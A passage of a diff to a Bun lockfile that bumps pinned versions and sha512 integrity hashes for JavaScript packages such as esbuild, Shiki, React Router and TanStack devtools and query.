"sha512-p4bm9+wsPwup5Z8f4EpfN63qNagQ47Ua2znaqGH6bqLlmJ4bx97Y9JdqxgGZ6Y8xVTixUnEkoKSHcpRlDnNr5w=="], - "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.1", "", { "os": "linux", "cpu": "x64" }, "sha512-z3H/HYI9MM0HTv3hQZ81f+AKb+yEoCRlUby1F80vbQ5XdzEMyY/9iNlAmhqiBKw4MJXwfgsh7ERGEOhrM1niMA=="], + "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.2", "", { "os": "linux", "cpu": "x64" }, "sha512-uwp2Tip5aPmH+NRUwTcfLb+W32WXjpFejTIOWZFw/v7/KnpCDKG66u4DLcurQpiYTiYwQ9B7KOeMJvLCu/OvbA=="], - "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.1", "", { "os": "none", "cpu": "arm64" }, "sha512-wzC24DxAvk8Em01YmVXyjl96Mr+ecTPyOuADAvjGg+fyBpGmxmcr2E5ttf7Im8D0sXZihpxzO1isus8MdjMCXQ=="], + "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.2", "", { "os": "none", "cpu": "arm64" }, "sha512-Kj6DiBlwXrPsCRDeRvGAUb/LNrBASrfqAIok+xB0LxK8CHqxZ037viF13ugfsIpePH93mX7xfJp97cyDuTZ3cw=="], - "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.1", "", { "os": "none", "cpu": "x64" }, "sha512-1YQ8ybGi2yIXswu6eNzJsrYIGFpnlzEWRl6iR5gMgmsrR0FcNoV1m9k9sc3PuP5rUBLshOZylc9nqSgymI+TYg=="], + "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.2", "", { "os": "none", "cpu": "x64" }, "sha512-HwGDZ0VLVBY3Y+Nw0JexZy9o/nUAWq9MlV7cahpaXKW6TOzfVno3y3/M8Ga8u8Yr7GldLOov27xiCnqRZf0tCA=="], - "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-5Z+DzLCrq5wmU7RDaMDe2DVXMRm2tTDvX2KU14JJVBN2CT/qov7XVix85QoJqHltpvAOZUAc3ndU56HSMWrv8g=="], + "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-DNIHH2BPQ5551A7oSHD0CKbwIA/Ox7+78/AWkbS5QoRzaqlev2uFayfSxq68EkonB+IKjiuxBFoV8ESJy8bOHA=="], - "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-Q73ENzIdPF5jap4wqLtsfh8YbYSZ8Q0wnxplOlZUOyZy7B4ZKW8DXGWgTCZmF8VWD7Tciwv5F4NsRf6vYlZtqg=="], + "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-/it7w9Nb7+0KFIzjalNJVR5bOzA9Vay+yIPLVHfIQYG/j+j9VTH84aNB8ExGKPU4AzfaEvN9/V4HV+F+vo8OEg=="], - "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.1", "", { "os": "none", "cpu": "arm64" }, "sha512-ajbHrGM/XiK+sXM0JzEbJAen+0E+JMQZ2l4RR4VFwvV9JEERx+oxtgkpoKv1SevhjavK2z2ReHk32pjzktWbGg=="], + "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.2", "", { "os": "none", "cpu": "arm64" }, "sha512-LRBbCmiU51IXfeXk59csuX/aSaToeG7w48nMwA6049Y4J4+VbWALAuXcs+qcD04rHDuSCSRKdmY63sruDS5qag=="], - "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-IPUW+y4VIjuDVn+OMzHc5FV4GubIwPnsz6ubkvN8cuhEqH81NovB53IUlrlBkPMEPxvNnf79MGBoz8rZ2iW8HA=="], + "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-kMtx1yqJHTmqaqHPAzKCAkDaKsffmXkPHThSfRwZGyuqyIeBvf08KSsYXl+abf5HDAPMJIPnbBfXvP2ZC2TfHg=="], - "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-RIVRWiljWA6CdVu8zkWcRmGP7iRRIIwvhDKem8UMBjPql2TXM5PkDVvvrzMtj1V+WFPB4K7zkIGM7VzRtFkjdg=="], + "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-Yaf78O/B3Kkh+nKABUF++bvJv5Ijoy9AN1ww904rOXZFLWVc5OLOfL56W+C8F9xn5JQZa3UX6m+IktJnIb1Jjg=="], - "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-2BR5M8CPbptC1AK5JbJT1fWrHLvejwZidKx3UMSF0ecHMa+smhi16drIrCEggkgviBwLYd5nwrFLSl5Kho96RQ=="], + "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-Iuws0kxo4yusk7sw70Xa2E2imZU5HoixzxfGCdxwBdhiDgt9vX9VUCBhqcwY7/uh//78A1hMkkROMJq9l27oLQ=="], - "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.1", "", { "os": "win32", "cpu": "x64" }, "sha512-d5X6RMYv6taIymSk8JBP+nxv8DQAMY6A51GPgusqLdK9wBz5wWIXy1KjTck6HnjE9hqJzJRdk+1p/t5soSbCtw=="], + "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.2", "", { "os": "win32", "cpu": "x64" }, "sha512-sRdU18mcKf7F+YgheI/zGf5alZatMUTKj/jNS6l744f9u3WFu4v7twcUI9vu4mknF4Y9aDlblIie0IM+5xxaqQ=="], "@floating-ui/core": ["@floating-ui/core@1.7.3", "", { "dependencies": { "@floating-ui/utils": "^0.2.10" } }, "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w=="], @@ -198,7 +198,11 @@ "@floating-ui/utils": ["@floating-ui/utils@0.2.10", "", {}, "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="], - "@formatjs/intl-localematcher": ["@formatjs/intl-localematcher@0.6.2", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-XOMO2Hupl0wdd172Y06h6kLpBz6Dv+J4okPLl4LPtzbr8f66WbIoy4ev98EBuZ6ZK4h5ydTN6XneT4QVpD7cdA=="], + "@formatjs/fast-memoize": ["@formatjs/fast-memoize@3.0.3", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-CArYtQKGLAOruCMeq5/RxCg6vUXFx3OuKBdTm30Wn/+gCefehmZ8Y2xSMxMrO2iel7hRyE3HKfV56t3vAU6D4Q=="], + + "@formatjs/intl-localematcher": ["@formatjs/intl-localematcher@0.7.5", "", { "dependencies": { "@formatjs/fast-memoize": "3.0.3", "tslib": "^2.8.0" } }, "sha512-7/nd90cn5CT7SVF71/ybUKAcnvBlr9nZlJJp8O8xIZHXFgYOC4SXExZlSdgHv2l6utjw1byidL06QzChvQMHwA=="], + + "@fumadocs/ui": ["@fumadocs/ui@16.4.6", "", { "dependencies": { "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "fumadocs-core": "16.4.6", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-/skIjySh9mVNMZBkc2kdGjajGQIorFUCTUp/QSSEtdMOVIdW7776YGLvV4CFxa8hf5FuRO4xrOi8vhQqnhqwVQ=="], "@hookform/resolvers": ["@hookform/resolvers@5.2.2", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA=="], @@ -220,11 +224,11 @@ "@mjackson/node-fetch-server": ["@mjackson/node-fetch-server@0.2.0", "", {}, "sha512-EMlH1e30yzmTpGLQjlFmaDAjyOeZhng1/XCd7DExR8PNAnG/G1tyruZxEoUe11ClnwGhGrtsdnyyUx1frSzjng=="], - "@orama/orama": ["@orama/orama@3.1.17", "", {}, "sha512-APwpZ+FTGMryo4QEeD6ti+Ei8suBkvxe8PeWdUcQHVfJDpjpt4c1dKojjNswcBmdeWSiiTYcnkKKH+yuo6727g=="], + "@orama/orama": ["@orama/orama@3.1.18", "", {}, "sha512-a61ljmRVVyG5MC/698C8/FfFDw5a8LOIvyOLW5fztgUXqUpc1jOfQzOitSCbge657OgXXThmY3Tk8fpiDb4UcA=="], - "@orama/stopwords": ["@orama/stopwords@3.1.17", "", {}, "sha512-ftvPvLBpio9LxxhrI59Ewt0Acmnou7e3lvz5Zsx8LCzQH5uHZPyQALR/fxbtO/vsSTGAezxEUpkYiiTMsBxoEQ=="], + "@orama/stopwords": ["@orama/stopwords@3.1.18", "", {}, "sha512-W8V7m7RnCme+99OmKl/xs5rf6OUhFpr0aPGVmPrXzTLSg4ZqSbRY2euS2S/lgjjYi/0NhEWqwoq8nDY6Ihx4EA=="], - "@orama/tokenizers": ["@orama/tokenizers@3.1.17", "", { "dependencies": { "@orama/orama": "3.1.17" } }, "sha512-YGJL6btK99msr5bYLN+agjSU7AddrOTFlH8zaVrTXJjw2jYWphZHKQVwgMO/GlD8V5YbUCe+5PGETqRea96TxQ=="], + "@orama/tokenizers": ["@orama/tokenizers@3.1.18", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="], "@radix-ui/number": ["@radix-ui/number@1.1.1", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="], @@ -294,9 +298,9 @@ "@radix-ui/rect": ["@radix-ui/rect@1.1.1", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="], - "@react-router/dev": ["@react-router/dev@7.10.1", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.10.1", "@remix-run/node-fetch-server": "^0.9.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.10.1", "@vitejs/plugin-rsc": "*", "react-router": "^7.10.1", "typescript": "^5.1.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-kap9O8rTN6b3vxjd+0SGjhm5vqiAZHMmOX1Hc7Y4KXRVVdusn+0+hxs44cDSfbW6Z6fCLw6GXXe0Kr+DJIRezw=="], + "@react-router/dev": ["@react-router/dev@7.12.0", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.12.0", "@remix-run/node-fetch-server": "^0.9.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.12.0", "@vitejs/plugin-rsc": "~0.5.7", "react-router": "^7.12.0", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-5GpwXgq4pnOVeG7l6ADkCHA1rthJus1q/A3NRYJAIypclUQDYAzg1/fDNjvaKuTSrq+Nr3u6aj2v+oC+47MX6g=="], - "@react-router/node": ["@react-router/node@7.10.1", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.10.1", "typescript": "^5.1.0" }, "optionalPeers": ["typescript"] }, "sha512-RLmjlR1zQu+ve8ibI0lu91pJrXGcmfkvsrQl7z/eTc5V5FZgl0OvQVWL5JDWBlBZyzdLMQQekUOX5WcPhCP1FQ=="], + "@react-router/node": ["@react-router/node@7.12.0", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.12.0", "typescript": "^5.1.0" }, "optionalPeers": ["typescript"] }, "sha512-o/t10Cse4LK8kFefqJ8JjC6Ng6YuKD2I87S2AiJs17YAYtXU5W731ZqB73AWyCDd2G14R0dSuqXiASRNK/xLjg=="], "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.9.0", "", {}, "sha512-SoLMv7dbH+njWzXnOY6fI08dFMI5+/dQ+vY3n8RnnbdG7MdJEgiP28Xj/xWlnRnED/aB6SFw56Zop+LbmaaKqA=="], @@ -344,21 +348,21 @@ "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.53.3", "", { "os": "win32", "cpu": "x64" }, "sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ=="], - "@shikijs/core": ["@shikijs/core@3.20.0", "", { "dependencies": { "@shikijs/types": "3.20.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-f2ED7HYV4JEk827mtMDwe/yQ25pRiXZmtHjWF8uzZKuKiEsJR7Ce1nuQ+HhV9FzDcbIo4ObBCD9GPTzNuy9S1g=="], + "@shikijs/core": ["@shikijs/core@3.21.0", "", { "dependencies": { "@shikijs/types": "3.21.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-AXSQu/2n1UIQekY8euBJlvFYZIw0PHY63jUzGbrOma4wPxzznJXTXkri+QcHeBNaFxiiOljKxxJkVSoB3PjbyA=="], - "@shikijs/engine-javascript": ["@shikijs/engine-javascript@3.20.0", "", { "dependencies": { "@shikijs/types": "3.20.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-OFx8fHAZuk7I42Z9YAdZ95To6jDePQ9Rnfbw9uSRTSbBhYBp1kEOKv/3jOimcj3VRUKusDYM6DswLauwfhboLg=="], + "@shikijs/engine-javascript": ["@shikijs/engine-javascript@3.21.0", "", { "dependencies": { "@shikijs/types": "3.21.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-ATwv86xlbmfD9n9gKRiwuPpWgPENAWCLwYCGz9ugTJlsO2kOzhOkvoyV/UD+tJ0uT7YRyD530x6ugNSffmvIiQ=="], - "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@3.20.0", "", { "dependencies": { "@shikijs/types": "3.20.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-Yx3gy7xLzM0ZOjqoxciHjA7dAt5tyzJE3L4uQoM83agahy+PlW244XJSrmJRSBvGYELDhYXPacD4R/cauV5bzQ=="], + "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@3.21.0", "", { "dependencies": { "@shikijs/types": "3.21.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-OYknTCct6qiwpQDqDdf3iedRdzj6hFlOPv5hMvI+hkWfCKs5mlJ4TXziBG9nyabLwGulrUjHiCq3xCspSzErYQ=="], - "@shikijs/langs": ["@shikijs/langs@3.20.0", "", { "dependencies": { "@shikijs/types": "3.20.0" } }, "sha512-le+bssCxcSHrygCWuOrYJHvjus6zhQ2K7q/0mgjiffRbkhM4o1EWu2m+29l0yEsHDbWaWPNnDUTRVVBvBBeKaA=="], + "@shikijs/langs": ["@shikijs/langs@3.21.0", "", { "dependencies": { "@shikijs/types": "3.21.0" } }, "sha512-g6mn5m+Y6GBJ4wxmBYqalK9Sp0CFkUqfNzUy2pJglUginz6ZpWbaWjDB4fbQ/8SHzFjYbtU6Ddlp1pc+PPNDVA=="], - "@shikijs/rehype": ["@shikijs/rehype@3.20.0", "", { "dependencies": { "@shikijs/types": "3.20.0", "@types/hast": "^3.0.4", "hast-util-to-string": "^3.0.1", "shiki": "3.20.0", "unified": "^11.0.5", "unist-util-visit": "^5.0.0" } }, "sha512-/sqob3V/lJK0m2mZ64nkcWPN88im0D9atkI3S3PUBvtJZTHnJXVwZhHQFRDyObgEIa37IpHYHR3CuFtXB5bT2g=="], + "@shikijs/rehype": ["@shikijs/rehype@3.21.0", "", { "dependencies": { "@shikijs/types": "3.21.0", "@types/hast": "^3.0.4", "hast-util-to-string": "^3.0.1", "shiki": "3.21.0", "unified": "^11.0.5", "unist-util-visit": "^5.0.0" } }, "sha512-fTQvwsZL67QdosMFdTgQ5SNjW3nxaPplRy//312hqOctRbIwviTV0nAbhv3NfnztHXvFli2zLYNKsTz/f9tbpQ=="], - "@shikijs/themes": ["@shikijs/themes@3.20.0", "", { "dependencies": { "@shikijs/types": "3.20.0" } }, "sha512-U1NSU7Sl26Q7ErRvJUouArxfM2euWqq1xaSrbqMu2iqa+tSp0D1Yah8216sDYbdDHw4C8b75UpE65eWorm2erQ=="], + "@shikijs/themes": ["@shikijs/themes@3.21.0", "", { "dependencies": { "@shikijs/types": "3.21.0" } }, "sha512-BAE4cr9EDiZyYzwIHEk7JTBJ9CzlPuM4PchfcA5ao1dWXb25nv6hYsoDiBq2aZK9E3dlt3WB78uI96UESD+8Mw=="], - "@shikijs/transformers": ["@shikijs/transformers@3.20.0", "", { "dependencies": { "@shikijs/core": "3.20.0", "@shikijs/types": "3.20.0" } }, "sha512-PrHHMRr3Q5W1qB/42kJW6laqFyWdhrPF2hNR9qjOm1xcSiAO3hAHo7HaVyHE6pMyevmy3i51O8kuGGXC78uK3g=="], + "@shikijs/transformers": ["@shikijs/transformers@3.21.0", "", { "dependencies": { "@shikijs/core": "3.21.0", "@shikijs/types": "3.21.0" } }, "sha512-CZwvCWWIiRRiFk9/JKzdEooakAP8mQDtBOQ1TKiCaS2E1bYtyBCOkUzS8akO34/7ufICQ29oeSfkb3tT5KtrhA=="], - "@shikijs/types": ["@shikijs/types@3.20.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-lhYAATn10nkZcBQ0BlzSbJA3wcmL5MXUUF8d2Zzon6saZDlToKaiRX60n2+ZaHJCmXEcZRWNzn+k9vplr8Jhsw=="], + "@shikijs/types": ["@shikijs/types@3.21.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-zGrWOxZ0/+0ovPY7PvBU2gIS9tmhSUUt30jAcNV0Bq0gb2S98gwfjIs1vxlmH5zM7/4YxLamT6ChlqqAJmPPjA=="], "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], @@ -374,7 +378,7 @@ "@solid-primitives/utils": ["@solid-primitives/utils@6.3.2", "", { "peerDependencies": { "solid-js": "^1.6.12" } }, "sha512-hZ/M/qr25QOCcwDPOHtGjxTD8w2mNyVAYvcfgwzBHq2RwNqHNdDNsMZYap20+ruRwW4A3Cdkczyoz0TSxLCAPQ=="], - "@standard-schema/spec": ["@standard-schema/spec@1.0.0", "", {}, "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA=="], + "@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="], "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], @@ -408,23 +412,23 @@ "@tailwindcss/vite": ["@tailwindcss/vite@4.1.18", "", { "dependencies": { "@tailwindcss/node": "4.1.18", "@tailwindcss/oxide": "4.1.18", "tailwindcss": "4.1.18" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7" } }, "sha512-jVA+/UpKL1vRLg6Hkao5jldawNmRo7mQYrZtNHMIVpLfLhDml5nMRUo/8MwoX2vNXvnaXNNMedrMfMugAVX1nA=="], - "@tanstack/devtools": ["@tanstack/devtools@0.8.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.4", "@tanstack/devtools-event-bus": "0.3.3", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-ltVS+MpOrA37CiVunSOCcXctaDnQOJV6FPE5Y2uLq3m8b0spmHwp0edp1PRd2CMG4LnGIlRf7lYdhHa2p9CHNA=="], + "@tanstack/devtools": ["@tanstack/devtools@0.10.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="], - "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.4", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.3.4" } }, "sha512-LefnH9KE9uRDEWifc3QDcooskA8ikfs41bybDTgpYQpyTUspZnaEdUdya9Hry0KYxZ8nos0S3nNbsP79KHqr6Q=="], + "@tanstack/devtools-client": ["@tanstack/devtools-client@0.0.5", "", { "dependencies": { "@tanstack/devtools-event-client": "^0.4.0" } }, "sha512-hsNDE3iu4frt9cC2ppn1mNRnLKo2uc1/1hXAyY9z4UYb+o40M2clFAhiFoo4HngjfGJDV3x18KVVIq7W4Un+zA=="], - "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.3.3", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-lWl88uLAz7ZhwNdLH6A3tBOSEuBCrvnY9Fzr5JPdzJRFdM5ZFdyNWz1Bf5l/F3GU57VodrN0KCFi9OA26H5Kpg=="], + "@tanstack/devtools-event-bus": ["@tanstack/devtools-event-bus@0.4.0", "", { "dependencies": { "ws": "^8.18.3" } }, "sha512-1t+/csFuDzi+miDxAOh6Xv7VDE80gJEItkTcAZLjV5MRulbO/W8ocjHLI2Do/p2r2/FBU0eKCRTpdqvXaYoHpQ=="], - "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.3.5", "", {}, "sha512-RL1f5ZlfZMpghrCIdzl6mLOFLTuhqmPNblZgBaeKfdtk5rfbjykurv+VfYydOFXj0vxVIoA2d/zT7xfD7Ph8fw=="], + "@tanstack/devtools-event-client": ["@tanstack/devtools-event-client@0.4.0", "", {}, "sha512-RPfGuk2bDZgcu9bAJodvO2lnZeHuz4/71HjZ0bGb/SPg8+lyTA+RLSKQvo7fSmPSi8/vcH3aKQ8EM9ywf1olaw=="], "@tanstack/devtools-ui": ["@tanstack/devtools-ui@0.4.4", "", { "dependencies": { "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-5xHXFyX3nom0UaNfiOM92o6ziaHjGo3mcSGe2HD5Xs8dWRZNpdZ0Smd0B9ddEhy0oB+gXyMzZgUJb9DmrZV0Mg=="], - "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.3.11", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.4", "@tanstack/devtools-event-bus": "0.3.3", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-t5jaWJNgkXOQTxuNrwkz71cN86zPZnLJY2Rz0IaMDgjb0ib1EKHeRgdqHMR/2YL96yhCHHDCHroBQXsw5Da4dg=="], + "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], - "@tanstack/query-core": ["@tanstack/query-core@5.90.12", "", {}, "sha512-T1/8t5DhV/SisWjDnaiU2drl6ySvsHj1bHBCWNXd+/T+Hh1cf6JodyEYMd5sgwm+b/mETT4EV3H+zCVczCU5hg=="], + "@tanstack/query-core": ["@tanstack/query-core@5.90.16", "", {}, "sha512-MvtWckSVufs/ja463/K4PyJeqT+HMlJWtw6PrCpywznd2NSgO3m4KwO9RqbFqGg6iDE8vVMFWMeQI4Io3eEYww=="], - "@tanstack/react-devtools": ["@tanstack/react-devtools@0.8.2", "", { "dependencies": { "@tanstack/devtools": "0.8.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-D1oG2QivpAmiT4iq7PxbsajmoYmtnhwg9gEK7q9mDiVcnyPjwnhg1ujDvKIzP+ZaRTkQzpJYwtTmS9DzYp8Akg=="], + "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.1", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], - "@tanstack/react-query": ["@tanstack/react-query@5.90.12", "", { "dependencies": { "@tanstack/query-core": "5.90.12" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-graRZspg7EoEaw0a8faiUASCyJrqjKPdqJ9EwuDRUF9mEYJ1YPczI9H+/agJ0mOJkPCJDk0lsz5QTrLZ/jQ2rg=="], + "@tanstack/react-query": ["@tanstack/react-query@5.90.16", "", { "dependencies": { "@tanstack/query-core": "5.90.16" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-bpMGOmV4OPmif7TNMteU/Ehf/hoC0Kf98PDc0F4BZkFrEapRMEqI/V6YS0lyzwSV6PQpY1y4xxArUIfBW5LVxQ=="], "@types/d3-hierarchy": ["@types/d3-hierarchy@1.1.11", "", {}, 